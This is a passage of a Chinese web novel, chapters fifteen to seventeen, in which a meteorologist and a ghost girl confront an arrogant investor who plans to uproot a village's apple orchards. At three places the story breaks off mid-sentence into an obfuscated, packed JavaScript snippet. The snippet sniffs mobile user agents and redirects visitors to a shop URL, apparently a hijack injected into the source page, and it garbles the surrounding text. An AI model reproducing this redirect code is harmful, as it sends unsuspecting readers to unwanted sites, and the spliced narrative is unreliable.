纸张的最底下,有一行铅笔写的小字——十二点,受高空槽和低空切变线影响,降雨率百分之二十。 简单几个字,却透露出对天气变化的精准把握。 如果只是单纯手写的天气分析,卓客倒也不足为奇,但这张纸上程澍礼所运用的评估模型和计算方法,全部是在野外研究极端天气演变时才会动用的高深学问。 这些工具,一般气象研究员不会用,一是用在日常天气上太浪费,二是因为难,首先技术很复杂,要求分析人有庞大的知识储备,又需要高超的技术操作能力,其次是过程中需要整合大量的各类仪器参数,还需保持高度的逻辑缜密,任何微小的差错都可能导致结果的巨大偏差。 但程澍礼不仅用了,而且用得游刃有余,将各项数据完美融合在模型里,交出了一份非常完美的分析报告。 看着这张堪称教科书般的天气图纸,卓客先是疑惑,不懂程澍礼一个大学老师为什么有这么丰富的野外知识,而后他扬了扬眉,由衷敬佩程澍礼过人的专业素养。 恰好他睁开眼,卓客问:“你几点上来的?” 程澍礼坐起来:“三点。” “然后一夜没睡?” “嗯。” “就为了确定今天到底下不下雨?” “有备无患。” 果然,卓客瞥一眼那张图纸,能力也不是一朝一夕就能铸就的,接着他又看向程澍礼,话里有些关心:“你脸色看着不太好,身体不舒服?” “没有。”程澍礼云淡风轻地略过这句,将一份报告交到卓客手里,“最终版的气象投资分析,等投资商今天来的时候,你找机会跟他们讲讲。” 卓客不明所以:“怎么让我讲?” 程澍礼解释:“一般的投资考察不会有气象专家,但这次他们专门带了一个,就说明肯定是听过这边的一些事情,到时候如果他们问起来,我来解决。” 卓客挑了挑眉:“就知道你忙一个星期,不单单是为了写这个报告。”从他找自己要气象站近三年的天气数据时,卓客就猜到不简单。 对此程澍礼不置可否,无声地笑了笑。 卓客分了程澍礼几个包子,又给了他一杯甜酒酿:“熬一夜了赶紧补补。” 程澍礼将吸管扎进甜酒酿吸了一口,混着包子味的酒味一股脑冲进嘴里,激得他胃里一阵翻腾,差点直接吐出来,他强忍下这股恶心,打起精神给老金打电话,和他商量下雨后的应对方案。 距离棋山几个山头的法古梁子,棠又又孤独地坐在一块奇形怪状的大石头上,六只小狗挤在一块破皮铁桶下,抢食半个烂到黑芯的坏苹果。 棠又又气得一个水球砸过去:“坏的吃了拉肚子啊傻狗。” 二二和五五被砸中,“嗖”地夹起尾巴缩到旁边去,其他几只似也是感受到棠又又的低气压,都默默放开坏苹果,六六还冲到最前面用鼻子将苹果拱到铁桶外面。 山坡上风大,把铁通吹的哗哗作响,仿佛下一秒就要随时散架,一二三四五六吓得把头埋在一起,露在外面的屁股抖得跟个筛子似的。 见此情形,棠又又忽然就后悔把它们从程澍礼那带出来了,也拜这里人绝不浪费粮食的优秀品德所赐,翻山越岭一整个晚上都没找到吃的,六只小狗跟在她身后饿得嗷嗷叫。 以往都是去五子顶气象站,蔡叔会把它们当成流浪狗,从厨房拿点剩饭菜给它们,但棠又又今天不能去那边,就只能带它们到尼莫阿奶的苹果园碰碰运气,看还有没有没被采摘的苹果。 但她魂力很弱,昨天浪费了点,现在的只够摘两个下来,想摘第三个时,天空的雨就变得失控。 一边是萧条至极的环境,一边是可怜无助的小狗,棠又又越想越气,她猛地站起来,对着远处棋山山头大骂出声:“程澍礼我去你——” “——大爷的怎么又下雨!” 听见不属于自己的声音,棠又又吓了一跳,身体怪异扭曲的转过来,眼睛瞪得溜圆看向声音来源。 安静的林子里蓦然闯进几个陌生人,为首的男人模样大腹便便,正骂骂咧咧地朝这边走来。 棠又又觉得他身份应该不简单,因为其他几人都是两人一把伞,只有他是单独一把,而且有专人替他举着,但即便如此,他看起来还是一脸不满意。 他指着山脚林网里的高速公路,冲身边的人发飙:“为什么刚才那里不下雨?” “朱总。”文旅局负责接待的小崔上前一步,非常专业地解释:“因为山区地势陡峭,形成的上升暖湿气流和冷空气相遇,会产生对流,就容易形成降雨。”同样的话,文旅局的人早已对不同的投资商说过无数遍。 这个说法没有说服朱正富,他冷笑问:“你们无缘无故下雨也是因为这个?” 在场的人都听出来这是一句试探,也是目前棋山投资面临的最大的难题,谁踩谁疼,现场没有人敢正面回答,好在小崔身经百战,熟练地打了个太极:“朱总,有关这个问题,气象站的同事能更好地替您解答,他们等您很久了,我们先过去吧。” 朱正富从鼻腔里发出一声轻蔑的哼哧,随即从口袋里掏出一包烟来,林业局得大刘阻止他:“朱总,山区禁明火。” 朱正富气得脸歪了下,接着那位一直替他撑伞的随从上前,手指不偏不倚指向棠又又所在的方向:“朱总,这是地图上显示的那片苹果园。” 这个人说话有很奇怪的口音,听得棠又又浑身不舒服,不仅如此,他的眼神也让棠又又觉得很别扭,明知道他的眼神并未直接落在她身上,但她还是莫名感觉到一股寒意,仿佛自己成了什么猎物。 她想着得离这个人远点,赶忙蹑手蹑脚地站起来,提着裙子准备开溜。 朱正富环视一圈果园,表情很不屑:“这里不属于旅游区了?” 小崔赔笑道:“我们旅游区规划的是以棋山为中心,向附近支峰漫射展开的,第一期工程我们想......” “行了行了。”朱正富不耐地打断,“你就说从这到旅游区还有多远?” 小崔想了想:“往北两个山头,那里就是旅游区的最南端了。” “那不行。”朱正富一听,立刻大手一挥,语气中带着不容置否的强势:“我是要在旅游区里搞采摘园的,那到时候游客来了,发现这边还有果园,不得全跑这儿来了?那我的生意还怎么做?” 说完,他转头问身边的人:“平宫,你说怎么办?” 口音怪又讲话了:“项目部给出的方案是拔掉这片的苹果园。” 这话一出,棠又又脚步一顿,回头狠狠瞪了眼那个叫平宫的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713214|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,觉得他和提出这个方案的人都很讨厌。 “朱总。”这次是大刘的声音,他脸上挂着和小崔如出一辙的笑:“棋山那边都是树木森林,没有那么大的种植土地,更何况这里刚被列为苹果气象实验站,是科研重地,哪能说拔就拔呀。” 话锋一转,他又摆出一副为朱正富着想的架势:“再说了等旅游区建起来,那么大的生意投资收益只多不少,您犯不着跟村民争这点钱啊。” 这话表面圆滑实则暗含警告,而且说得滴水不漏,饶是朱正富这个老江湖,听出来也不能当面反驳,因为虽说文旅局希望他赶紧投钱,但说到底这是政.府的项目,最好还是不要发生正面冲突。 气氛倏然凝滞,朱正富和口音怪两人对视几秒,忽然开口说了一句大家都听不懂的话,口音怪用同样的语言回应他,两人的对话像是加了密,现场其他人你看看我,我看看你,脸上都是听不懂的疑惑。 小崔压低声音问大刘:“他们怎么突然说日语?” 大刘说:“不想让我们听呗。” 交流完,朱正富的火气看上去缓和了点,他甩甩手准备下山,刚一转身脚下就像被什么东西缠了下,身体不受控制地向前趴去,几个眼疾手快的随从猛地冲上来,卯足了劲才拽住他肥胖的身体。 目睹一切的棠又又眼底惊恐,连忙挥手大喊:“六六,过来!” 朱正富看见差点绊倒自己的罪魁祸首,气不打一出来,抬起一脚毫不留情将六六踹出几米远,这一幕残暴的行为,让在场几个陪同人员都忍不住露出鄙夷的神情。 可神奇的是,六六像是感觉不到疼痛,它不叫也不嚎,只是迅速而麻利地爬起来,抖了抖身上的雨水和泥土,重新叼起地上的苹果,欢快地摇着尾巴冲进铁桶里,和一二三四五分享在草丛里捡到的好苹果。 等一行人走远后,棠又又才重新从石头后出来,她瘫开四肢无力地躺倒在地面,呆滞地看着砸向自己的暴雨, 就在刚才,她也不知道怎么回事,从魂体里迸发出一股前所未有的力量,令她在情急之下为六六挡下了那足以致命的一击。 只是这力量释放之后,她的魂体像是被掏开一个洞,有什么都东西在更快地流失,雨水也下的越来越大,导致她现在连飘的力气也没有了。 暴雨如注,棠又又记起再过一个月是七月十五。 大约从七十年前开始,每年的这一天她都要经历巨大的灵魂撕扯之痛,所以她猜测是因为日期临近,魂体开始变得不受控制,才会发生像刚才那样的事。 而同样奇怪的是,她发现自己竟然能毫无障碍地听懂刚才两人的日语对话。 但棠又又来不及细想是为什么,因为当务之急,她要赶紧去五子顶气象站找到程澍礼,告诉他,朱正富和那个口音怪在密谋着一件大事。 他们确定要投资不假,但朱正富一意孤行要建采摘园,棋山没有大面积的种植土地,口音怪提出可以伐林为耕,而这将对棋山的生态环境造成不可逆转的破坏。 不仅如此,朱正富最后还扬言,他会用尽一切办法毁掉尼莫阿奶和其他人辛苦种植的苹果园,要不惜一切代价垄断这附近的采摘生意。 他们不是好人,他们的投资只会给这片土地、给这片土地上的人带来伤害。 朝瑶顶上的雨水如天河决堤,越下越大,越下越大,直到日正中天,山顶的云朵散逸成一片一片,雨丝变成细线,攒了点力气的棠又又从地上爬起来,急匆匆地往棋山奔去。 16. 第十六场雨 考察组一行人浩浩汤汤地走上棋山,一路上,朱正富不停地用日语跟平宫说话,姚寨老家正拿假牙搭积木的老太爷听见这动静,大惊失色道:“八嘎呀路又打进来了?!” 五子顶气象站,几人已在门口等候多时。 看见他们走过来,老金连忙迎前过去握住朱正富的手,如久旱逢甘霖般,满脸堆着笑容地说:“朱总大驾光临,我们气象站真是蓬荜生辉啊。” 朱正富敷衍地收回手,然后目光将周围逡巡一遍,毫不遮掩对这里的嘲弄与不屑,不仅如此,他接下来的话,更是将他傲慢无知的商人形象展现得淋漓尽致。 他说:“这小破庙要这么多人?看来公.家.饭是真好吃啊。” 梁晶晶心里那团火登时要蹿起来,但是碍于这次投资对老金的重要性,只能收敛地轻哼一声。 “你有意见?” 无奈还是没有逃过朱正富的耳朵,他转过头看向梁晶晶,不敢相信竟然有人敢当场忤逆他,卓客过来打圆场:“为了迎接大家到来,蔡叔中午特地做了饭,都是咱们这儿的特色菜,就等咱们开完会开席了。” 老金也一脸讪讪,不停说着缓和的话,他背在身后的手匆忙地挥了挥,示意梁晶晶先去准备茶水,梁晶晶求之不得,拽着阿尧扭头就走了。 接着,老金又将程澍礼介绍给众人:“这是来我们气象站帮扶的专家,程澍礼,同时他也是京大大气科学系的副教授。” 朱正富不以为意地嚯了声:“看不出来还有座大佛啊。” 对此程澍礼倒是不怎么介意,他表现出极好的涵养,和朱正富握手时谦谦有礼:“朱总您好,很高兴见到您。” 朱正富点点头,但还是很快收回手,一时之间场面上隐隐有点难堪。 就在这时,平宫突然上前在他耳边低声说了句什么,朱正富面色稍缓,看向程澍礼的眼神也开始正经起来。 他勉强补了句:“程教授,幸会。” 见面的开头虽然有点小插曲,但场面上还算说得过去,老金和卓客陪着他们说漂亮话,有说有笑地将考察队伍领进会议室。 程澍礼走在最后面,看了眼灰蒙蒙的天空,眉宇间透露出一丝不易察觉的担忧。 队伍其中一人慢慢走到他身边,面带欣喜和惊讶地大呼出声:“程教授,真的是你啊!” 程澍礼看着眼前陌生的年轻面孔,顿了两秒:“你是?” 年轻人说:“我叫赵凯,也是个气象研究员。” 程澍礼想起来:“你就是那个气象专家。” “跟您比我算哪门子的专家呀。”赵凯挠挠头,有些不好意思,“我上大学的时候就听说过您的大名,尤其您在国际气象大会上有关极端气候灾害的发言,我后来看了好多遍,只可惜这么长时间缘悭一面,今天难得一见,您果然跟照片上一样有气质。” 程澍礼云淡风轻:“过誉了。” “说起来,您不是一直从事野外气象研究的吗,怎么突然来贵州山里了?还有,刚才那个人说您去了京大当老师,我记得您之前不是在美国海洋大气管理局的野外实验室吗?什么时候回国的?” 第一次见到偶像,心急的赵凯问了一大堆问题,而反观程澍礼的脸上不见任何情绪起伏,只保持着礼貌的微笑:“工作上有些变动。” “这样啊。”言简意赅的回复表明他不愿多说,赵凯意识到自己问的有点多,尬笑两声揭过话题,“那......那我们先进去。” 平时空荡荡的会议室,突然一下子涌进来十几号人,加上从寨子里借来的参差不齐的十几把椅子,室内空间显得十分拥挤。 可能是为了看起来专业,老金给考察组的人都准备了笔和本,殊不知却更显出一种东拼西凑的业余感。 两方相对而坐,气象站这边由老金带着程澍礼和卓客坐阵,至于阿尧和梁晶晶,一个太年轻,一个太暴躁,都被老金赶去厨房帮忙了。 林业局的大刘和文旅局的小崔坐在朱正富的后面,自动变成毫无感情的背景板。 讨论会照常展开,卓客先是简单介绍了气象站的基本情况,说话间,平宫偶尔凑近朱正富身边轻声低语,朱正富侧着眼神听,完全不在意卓客讲了什么。 接着,卓客打开程澍礼做好的PPT,开始了更为详细的讲解:“棋山属于亚热带季风湿润气候,四季分明但是又相对温和,常年平均气温保持在15到25摄氏度......” “这些我都知道——”朱正富扬声打断卓客,会议室众人齐刷刷看过去,老金的心猛地提起来,屏气凝神地等着他接下来的话。 朱正富往椅背上靠了靠,椅背发出轻微的吱嘎声,他整个人漫不经心实则暗含锋芒:“你就直说你们棋山是不是天气不稳定,经常没有指征的下雨?” 面对这突如其来的尖锐质疑,卓客并未显出丝毫慌乱。 “朱总,我完全能够理解您的顾虑。”回应的同时,卓客轻轻点击鼠标,屏幕上立刻显示出棋山过去一年的详细气象数据,“我们根据气压、风向和风速多项指标进行了综合分析,结果显示棋山的气象条件整体是趋于稳定的,而您所说的这种情况属于偶发天气,但完全是在气象监测系统的预估范围内的,并不是‘没有指征的下雨’,旅游区建起之后,政.府会引入更加完善的气象监测系统,帮助更好地预测天气变化,为游客提供更舒适的旅游环境。” 这番回应有理有据,态度上也是不卑不亢,连大刘和小崔都忍不住投来赞许的注视。 然而这不能说服朱正富和他的团队,仅朱正富的一个抬眼,赵凯便接过话头:“卓先生,你的讲解很专业,但是为了节省时间,我就开门见山了,其实来之前我们听说过棋山不少传闻,所以我们真正想知道的是,为什么三年过去,你们依然查不出诡异天气的原因?” 现下他表现出来的气场,冷静,理智,客观,和刚才在外面跟程澍礼说话的样子迥然不同。 “您也说了是传闻,那......”卓客刚开口,朱正富就用力点了点桌子,话语中透露出明显的不耐和不满。 “我刚刚就亲身经历了一场,说好的今天不下雨,结果刚一到那什么......” “朝瑶顶。”平宫补充道。 “对,那朝瑶顶,从里到外淋了个透,你们今天有预报到吗?” 气氛陡然压抑,会议室的空气仿佛被挤压般令人窒息,老金的每一次呼吸都变得格外沉重。 卓客和程澍礼迅速交换一个眼神,后者对他轻点下头,卓客及时点击触摸板,屏幕切换到下一页,展示出更为精细和专业的图表数据。 “接下来,将由我来为您讲解。”程澍礼的声音沉稳有力,所有人的目光不约而同地聚焦在他身上。 “棋山处于中国西南部高原山地,地势西高东低,这种地形本就容易形成降雨,而由于近年来全球变暖,导致大气环流频繁出现异常,比如最近的北极冷涡,它在一定程度上改变了中高纬度的大气环流结构,引导冷空气南下,和来自孟加拉湾、南海等地的暖湿气流在我国贵州山区交汇,形成降雨条件。” 话落,卓客将画面无缝切换到气象模型的模拟结果页面, 程澍礼:“一旦这些天气系统打破原有的天气平衡,大气中产生大量冰晶或凝结核,气溶胶浓度、云层厚度和温度层结之间的相互作用,都会导致突然性的降水,而这些降水基本属于短期内的自然现象,一般是无法精准预报的。” 平宫低头在平板上操作几下,然后递给朱正富,上面是他刚从专业信息库中调取的相关资料,用下划线标注了重点。 朱正富粗略地扫一眼,发现程澍礼所言不假,随即将平板往平宫怀里一丢,身体稍稍转动,颇有深意地看向屏幕上正循环播放的动态模拟图。 程澍礼观察一秒朱正富的反应,确信他对这个话题产生兴趣后,才继续道:“至于您刚刚提到缺乏指征的问题,大部分是因为地磁暴的影响。” 赵凯很快提出异议,语气中带着一丝挑战:“从现有的科学知识和观测数据来看,地磁暴对天气造成的影响微乎其微,程教授的观点有待商榷。” “但它会对卫星产生影响。”程澍礼的话掷地有声,他淡然地笑了下,“当强地磁暴发生时,可能导致卫星运行正常,甚至是数据传输中断或丢失,如果地面站接收不到云图、温度分布和风速这些实时数据,自然出现无指征或者误差的降雨现象。” 会议室陷入短暂的沉默,老金目光复杂地转向身旁的程澍礼,心中不禁五味杂陈。 他一方面发自内心倾佩程澍礼,在关键时刻不动如山,即使面对质疑,也能够条理清晰地阐述问题,另一方面则是为自己做过的荒诞事情而感到可笑。 朱正富眼角微挑,余光掠过隔着一个身位的赵凯,话音透着几分调侃:“小赵还有什么想问的吗?” 两轮对话下来,赵凯又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而,朱正富像是没听到这话,他专制地向后摆一摆手,然后打了个手势。 平宫立刻起身,径自拿过卓客的电脑,插上自己的U盘,一番操作之后,向大家展示了一份完整的投资企划书。 朱正富轻轻摩挲着下巴,眼中尽是对企划书的自信和满意,平宫仍旧站着,操着一口并不流利的中文:“根据棋山的地理环境和风景优势,我们打算打造一个集采摘、休闲和度假旅游为一体的综合性旅游景区,在保留部分自然景观的前提下,引入苹果、沃柑和葡萄等水果的种植,让游客在享受自然风光的同时,还能亲手采摘到水果,为他们提供全方位、多层次的旅游体验,至于种植方面,我们的计划是......” 他越往下说,老金和卓客的脸色就越凝重,很明显他们都知道这些规划对棋山意味着什么,直到平宫侃侃而谈要引进哪些苹果品种时,卓客终于按耐不住,抬手打断了他。 “不好意思平宫先生,”卓客的声音中带着一抹礼貌的歉意,“可能您不太了解我们这边的情况,棋山虽然风景秀丽,但是这里没有大面积连片的种植土地,可能不适合您所说的那种大规模的采摘规划。” 卓客的话如同浇头冷水,一下子浇灭了刚刚升温的气氛,其他人的表情顿时变得微妙起来。 平宫缓缓笑了下,目光扫过会议室内的每一个人,面不改色地平静讲述:“这正是我们本次投资的创新所在,我们可以在尊重自然生态的前提下,选择一部分土地退林为耕。” 最后四个字一出来,会议室里落针可闻,大刘没忍住翻了个白眼,无声骂了句去.你.妈.的。 窗外的阳光霎时间消失的无影无踪,乌云黑沉沉的影子压进窗内,在墙壁上扭曲、拉长,仿佛什么可怕的东西在阴暗潜伏,静静等待着爆发的时机。 卓客直接被气笑了,什么会场礼仪职场风范都不装了,整个人大咧咧地往后一靠,冷冰冰吐出仨字儿:“不可能。” 平宫微微一哂:“刚程教授也说了,任何事情都没有绝对。” 两人因为意见相左,你一言我一语,开始了暗流涌动的争论。 与此同时,剑拔弩张的漩涡里,程澍礼眼神紧锁在一个无人注意的角落——朱正富的笔忽然凭空立起来,正在他面前的本子上一笔一划地写着什么。 他抬头,棠又又龇牙冲他嘿嘿一笑。 17. 第十七场雨 “好了!” 朱正富声如雷霆,大力一锤桌子打断两人火药味愈来愈浓的辩论,吓得棠又又的笔“啪”的掉到地上。 但因为场面过于焦灼,无人去关心一支笔发生了什么,棠又又心虚地缩下脖子,像科幻电影中那样穿透中间的会议桌,一溜烟滑到程澍礼身边,卓客隐约感到寒意,但心中的怒火让他无暇多想。 棠又又猫腰凑近程澍礼耳朵,眯眼盯着朱正富那张可恶的脸:“程澍礼,他们不是好人,他们想拔掉尼莫阿奶的苹果树。” 程澍礼听见了但是没有反应,他表面上平静无澜,其实内心早已波涛汹涌,浑身肌肉全数紧绷,眼睛死死盯着那个被棠又又胡乱画过的笔记本。 对面的朱正富斜斜瞥了卓客一眼,不是很懂他的坚持:“我来这里投资,当然是抱着利益最大化的目的来的,经过我们团队的评估,棋山完全有资源有能力种植果园,卓先生又为什么要阻拦呢?” “首先,棋山没有大规模的种植土地。”卓客深吸了口气,强忍着脾气保持正常的语态,“其次,山区种植没有想象中那么容易,要考虑到气候、土壤和作物适应性的问题,尤其是气象实验,这是一个长期而复杂的过程,不是说想种什么就种什么。” 朱正富笑:“我听说卓先生之前是农业局的?” “什么意思?”闻言,卓客额角突突直跳。 “程澍礼你哑巴啦!”棠又又看着一言不发的程澍礼,急得恨不得直接上他的身,“而且要是他们把棋山的树都砍光了,这里就完啦!” 如果她看得见的话,此时程澍礼的大脑像是开了双线程,一条线在倾听着卓客和朱正富的对话,精准捕捉话间可能影响最终决策的关键点,另一条线,他在反复演练着一件精确到每一个动作细节、不能有任何差池的意外。 此次来到棋山,朱正富本就志在必得,他摊开双手,向卓客发出盛情的邀请:“非常欢迎卓先生加入我们项目组,帮助我们实验水果品种,共同为棋山创造一个更加美好的明天。” 卓客反问:“如果您的果园失败了呢?” 朱正富大笑出声,笑声十分狂妄不羁:“不过是我的一次投资而已。” 卓客觉得朱正富疯了,棠又又觉得程澍礼死了。 会议室外,天空下起濛濛小雨。 感觉到屋里暗流涌动的争执,蹲在门口台阶上的阿尧倍感焦虑:“晶晶姐,咱们这回能顺利拿到投资吗?” 梁晶晶并排蹲在他旁边,手里杵着半根黄瓜,嘴里嚼嚼嚼:“看你卓哥发挥。” 阿尧不解地啊了声。 “噗!”梁晶晶嘴唇一动,一口黄瓜皮啐出了吐烟圈的架势,“发挥得好,对面还可能打个几块钱的款,要发挥得不好,对面可能就要打人了。” 阿尧大骇!这说的不是谈判是打架吧! 他弓起身体,双手瑟瑟插进怀里,眼光麻利地搜寻着地上的棍棒石头,准备随时抄个顺手的进去救他卓哥。 平宫不知什么时候坐了下来,声色低缓,带着些许压迫:“我们知道卓先生和程教授都是非常优秀的气象学者,尤其在助农方面,为当地种植苹果的果农创造了很好的收益,同时我们也了解到,投资成功之后,贵站会迁回市局,所以我们也衷心希望将来能和二位展开更深入的合作。” “树不能拔。”程澍礼忽然说话,语气严肃而认真。 在后面狂跺脚的棠又又听见这话,立马小碎步跑过来,双臂环胸一扬下巴,趾高气昂地睨着对面两人。 平宫:“程......” “我的意思是——”程澍礼语速很慢,每一个字在会议室里清晰有力地响起,“果农的苹果树不能拔。” 这话一出,老金面无血色,卓客表情一半困惑一半震惊,而同时,朱正富和平宫的脸上闪过如出一辙的错愕。 朱正富眼尾漏出精明的光:“程教授此话怎讲?” “借电脑一用。”说完程澍礼站起来,探身去取平宫面前的笔电,在所有人的注视下,他不经意的手腕轻轻一拐,“不小心”碰翻了旁边的水杯,清澈的水流顿时蜿蜒爬向四面八方。 众人一哄而起,在一顿“朱总你没事吧”、“我来我来”、“小心”的嗡嗡声中,考察组中一人一把拽过老金手里的纸巾,三两下将朱正富面前的桌子擦干净。 朱正富的笔记本也理所应当地被打湿,程澍礼则满脸慌乱地将本子抢过来,迅速甩掉上面剩余的水渍,略有歉意又尴尬不已地说:“朱总,这本子没法儿用了,您用我的。” 本就是走过场的东西,朱总大手一挥:“用不着。” 程澍礼坐回去,将湿漉漉的本子合上放到一边,从电脑中调出烂木等的地形图。 “从政.府规划区域来看,本次旅游区开发将以棋山为核心,属山陵地带,这片的土壤气候条件一般作物很难生长,在前期的引种试验中,我们也曾尝试过引进抗寒抗旱耐贫瘠的苹果及其他水果品种,但很遗憾都失败了,只有这里。” 他轻动鼠标,光点落在地图东北角的一小块地方,“距离开发区一个山头的松里峰,是我们能够找到的,气候条件最适宜苹果种植的土地。” “所以朱总,拔掉苹果树对您的投资来说意思不大。” “我不知道你从哪里得来的消息,说我要拔掉果农的苹果树。” 朱正富慢慢收起笑意,取而代之的是凉薄和阴狠:“但我也很遗憾地告诉你,我的团队已经从国外引进了适合棋山种植的苹果和蓝莓,更遗憾的是,你的消息是对的。” 棠又又盘腿托腮坐在会议桌上,听着左一个苹果右一个苹果,额角三条黑线:“你是白雪公主的后妈吗这么喜欢苹果。” 朱正富说:“不过隔着一个山头而已,我不认为会有多大的区别,你说呢,卓先生?” “当然。”卓客微笑,“澳大利亚科学家把微波炉里的电磁波当成外星信号时,也觉得没有区别。” 朱正富无所谓地一耸肩,转而看向程澍礼:“那你呢,程教授?” 程澍礼沉默不语,眸中一派难言的复杂,放在电脑上的手微微攥紧。 “没关系。”平宫意味不明地笑起来,眼神在三人之间快速扫过,“不过是一次讨论会,相信大家的意见不会对投资造成什么影响。” 卓客:“那请问您来这儿的目的?” 平宫回应:“视察未来的游客中心。” 卓客切了声,懒得再跟他多费口舌,场面一时之间变得微妙起来。 而到了这里,朱正富从最开始的不屑,到对程澍礼的欣赏,最后到眼前的忍无可忍,和气生财的原则再关不住他的脾气,骨子里的暴怒如同狂躁的野兽,遽然挣脱铁链展现出来。 他一改平和的面色,怒然掀翻桌上的纸本茶杯,噼里啪啦摔了一地,棠又又心惊胆战地向后弹开。 如果单纯是谈崩,卓客不理解他为何突然发作,而程澍礼心里的烦闷感则能告诉他原因—— 外面下雨了。 朱正富冷笑着站起来,语气轻描淡写:“投资要投,树也得砍,没得商量。” 语罢,他一脚踹翻椅子,被团队众人拥着向外走去,卓客站起来问小崔:“怎么回事,上来就搞这么大?” 小崔苦瓜脸:“这位爷来这之前已经耍过几次威风了,我们文旅局早不想伺候了。” 卓客怒斥:“那你还带他来!” 小崔也急:“不然哪还有投资商啊!” “可能还有机会。”程澍礼忽然道。 棠又又炸毛:“闭嘴!!” 小崔卓客齐回头:“什么?!” 大刘说:“不能砍树啊!!” 程澍礼抬起眼,语态平和:“如果他说的是真的,真有这个品种,在可控范围内种植,也许不是一件坏事,只是......我暂时还没查到相应的资料。”他话尾有一丝犹豫。 大刘和小崔对视一眼,而不管能成与否,为了老金,卓客也决不会放弃最后一丝机会,他拔腿冲向门外去拦人,路过门口时一把薅起蹲在地上的梁晶晶。 屋内,棠又又恶狠狠地瞪着程澍礼:“你会后悔的!” 外面吵吵嚷嚷的一片,朱正富被气坏了,完全不顾商人风度地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715394|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破口大骂,卓客一改刚才会上的义正言辞:“朱总,消消气消消气,不就下雨嘛,您待会儿吃个饭雨就停啦!” “对对对!”梁晶晶的假笑鬼迷日眼,“蔡叔饭菜都做好了,您就当尝个新鲜!” 阿尧混在中间,手在空中左右倒腾半天,没抓着朱正富,倒不小心拽到了他岌岌可危的后脑勺,阿尧嫌弃地撇下嘴,趁乱将手在平宫衣服上抹了抹。 人群乌泱泱的挤在一块,挽留声、叫骂声和雨声混杂成团,左推右搡地朝着大门口走去。 “让他走!” 豁然一声爆喝,混乱人群齐头看去,老金正站在会议室门口。 从会议开始他就没什么存在感,以至于朱正富都快忘了还有这号人,他转过来,满是讥讽地看向老金。 老金就那么静静地立在台阶上,饱经沧桑的面庞满是肃杀之气,仿佛是大战即将来临之时,拖着残躯之身,站在城门死守家园的老将军。 他胸膛剧烈起伏,每一个字都如同重锤,用力敲在每个人的耳膜上。 “棋山有仙寨建寨一百多年以来,世世代代靠山而居以林为伴,我们感激这片山林,因为在我们的祖辈逃难至此流离失所的时候,是棋山给了他们栖息之地,为此我们没动过棋山的一草一木,哪怕在最困难最难熬的饥荒年代,也没有做出过要伐林还耕的事,况且烂木等三年前才因为种植苹果脱贫,而现在你说要砍掉他们的果树,” 老金目光锐利如鹰,直勾勾地射向朱正富:“朱先生,很感谢您的到访,虽然我只是一个小小气象站的负责人,说话不够分量,但只要有我在的一天,还站在这片土地上,就决不允许任何人,以任何名义做出伤害棋山、背叛村民的事!” 说完,现场死一般的沉寂,无人说话。 就在这时,蔡叔系着围裙举着大漏勺突然出现,带着六只小狗状似是无意间路过:“老金头,中午咱们烫酸汤锅啊。” 卓客和梁晶晶反应过来,一左一右放开拽着朱正富的手,梁晶晶跑过去:“蔡叔多搞点猪肉片啊。” 阿尧屁颠屁颠跟上:“晶晶姐你爱吃猪肉啊?” “她爱片,片着爽。”卓客接话,又看见一二三四五六,“傻狗不准撒尿!” 另一头,平宫遥看向程澍礼:“程教授,令堂应该不想看到您和这种人为伍。”因为之前的工作原因,平宫和程澍礼的母亲钟音有过一些交集,知道她是最好体面的人。 程澍礼问:“哪种人?” 平宫阴笑了下:“愚かなクズです。”(愚蠢的垃圾) 他话音未落,左脸颊蓦然传来一阵火辣辣的刺痛,像是被凭空抽了一记耳光,同时雨水兜头浇他一脸。 平宫大怒,睁开眼大吼:“誰ですか?”(是谁?) 朱正富打量四周,也跟着骂了句:“貧しい山の悪しき水は刁民より出ます。”(穷山恶水出刁民) 迎接他的是棠又又的第二记水耳光。 她早对这两人恨的牙痒痒,想教训很久了,无奈刚刚在里面太招眼,现在终于逮到机会。 然后,在所有人都不知道发生了什么的情况下,朱正富和平宫的脸上各自又响起一下清脆的啪啪声,而无故出现在他们脸上的大量雨水,令这一幕格外诡谲,不禁让考察团里一人想起有关这里的传说。 “朱总,我之前听说这山里有仙女会吃人,别是咱们惹怒了她,赶紧走吧。” “什么仙女!弄虚作假!”朱正富捂着脸,嘴硬但还是怂了,“走走走。” 一行人风风火火地来,又恓恓惶惶地离去。 “程澍礼,他骂你,我帮你打回去了!” 棠又又高兴地转过来,叉着腰向程澍礼邀功,却看见他温润如玉的脸上此刻面无情绪,黑瞳冷淡得好似一汪静谭。 明明跟平时没什么两样,她却突然心生害怕,双手背到身后往后退了两步。 程澍礼抿下嘴唇,克制般地叹了口气:“回家等我。” 说完他走向厨房,找卓客商量接下来的对策。 棠又又冲他背影做个鬼脸,一溜烟消失在迷离的雨幕中。 18. 第十八场雨 